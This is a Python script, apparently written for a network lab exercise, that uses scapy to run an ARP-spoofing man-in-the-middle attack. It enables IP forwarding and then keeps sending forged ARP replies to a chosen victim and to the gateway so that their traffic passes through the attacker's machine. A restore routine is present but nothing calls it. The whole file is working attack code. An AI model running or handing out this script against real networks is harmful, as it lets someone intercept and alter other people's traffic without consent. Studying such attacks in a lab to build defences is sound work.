attacker_script.py

import scapy.all as scapy
import sys
import os
import time
import argparse
import netifaces as ni

parser = argparse.ArgumentParser(description="Attacking script to be run in xterm.")
parser.add_argument(
    "-i", "--interface", type=str, required=True, help="Interface of the attacker"
)
parser.add_argument(
    "-v", "--victim", type=str, required=True, help="Victim's IP address"
)
parser.add_argument(
    "-g", "--gateway", type=str, required=True, help="Gateway's IP address"
)


def set_ip_forwarding(value):
    os.system(f"echo {value} > /proc/sys/net/ipv4/ip_forward")


def get_mac_by_IP(IP):
    scapy.conf.verb = 0
    ans, _ = scapy.srp(
        scapy.Ether(dst="ff:ff:ff:ff:ff:ff") / scapy.ARP(pdst=IP),
        timeout=2,
        iface=interface,
        inter=0.1,
    )
    for _, rcv in ans:
        return rcv.sprintf(r"%Ether.src%")


def reset_ARP():
    print("\n[*] Restoring Targets...")
    victim1_MAC = get_mac_by_IP(victim_IP)
    victim2_MAC = get_mac_by_IP(gateway_IP)
    scapy.send(
        scapy.ARP(
            op=2,
            pdst=gateway_IP,
            psrc=victim_IP,
            hwdst="ff:ff:ff:ff:ff:ff",
            hwsrc=victim1_MAC,
        ),
        count=7,
    )
    scapy.send(
        scapy.ARP(
            op=2,
            pdst=victim_IP,
            psrc=gateway_IP,
            hwdst="ff:ff:ff:ff:ff:ff",
            hwsrc=victim2_MAC,
        ),
        count=7,
    )
    set_ip_forwarding(0)
    print("[*] Shutting Down...")
    sys.exit(1)


def mitm():
    global attacker_MAC

    try:
        victim_MAC = get_mac_by_IP(victim_IP)
        print(f"victim: (IP={victim_IP}, MAC={victim_MAC})")
    except Exception:
        set_ip_forwarding(0)
        print("[!] Couldn't Find Victim MAC Address")
        print("[!] Exiting...")
        sys.exit(1)

    try:
        gateway_MAC = get_mac_by_IP(gateway_IP)
        print(f"gateway: (IP={gateway_IP}, MAC={gateway_MAC})")
    except Exception:
        set_ip_forwarding(0)
        print("[!] Couldn't Find Gateway MAC Address")
        print("[!] Exiting...")
        sys.exit(1)
    print("[*] Poisoning Targets...")

    pkt1 = scapy.ARP(
        op=2,
        # hwlen=6,
        # plen=4,
        pdst=victim_IP,
        psrc=gateway_IP,
        # hwsrc=attacker_MAC,
        hwdst=victim_MAC,
    )
    pkt2 = scapy.ARP(
        op=2,
        # hwlen=6,
        # plen=4,
        pdst=gateway_IP,
        psrc=victim_IP,
        # hwsrc=attacker_MAC,
        hwdst=gateway_MAC,
    )
    pkt1.show()
    pkt2.show()

    while 1:
        # try:
        #     spoof(victim2_MAC, victim1_MAC)
        #     time.sleep(1.5)
        # except KeyboardInterrupt:
        #     reset_ARP()
        scapy.send(pkt1)
        scapy.send(pkt2)
        print("Packets Sent")
        time.sleep(1.5)


if __name__ == "__main__":
    args = parser.parse_args()
    interface = args.interface
    attacker_IP = ni.ifaddresses(interface)[ni.AF_INET][0]["addr"]
    attacker_MAC = ni.ifaddresses(interface)[ni.AF_LINK][0]["addr"]
    print(f"Attacker: (IP={attacker_IP}, MAC={attacker_MAC})")
    victim_IP = args.victim
    gateway_IP = args.gateway
    set_ip_forwarding(1)
    mitm()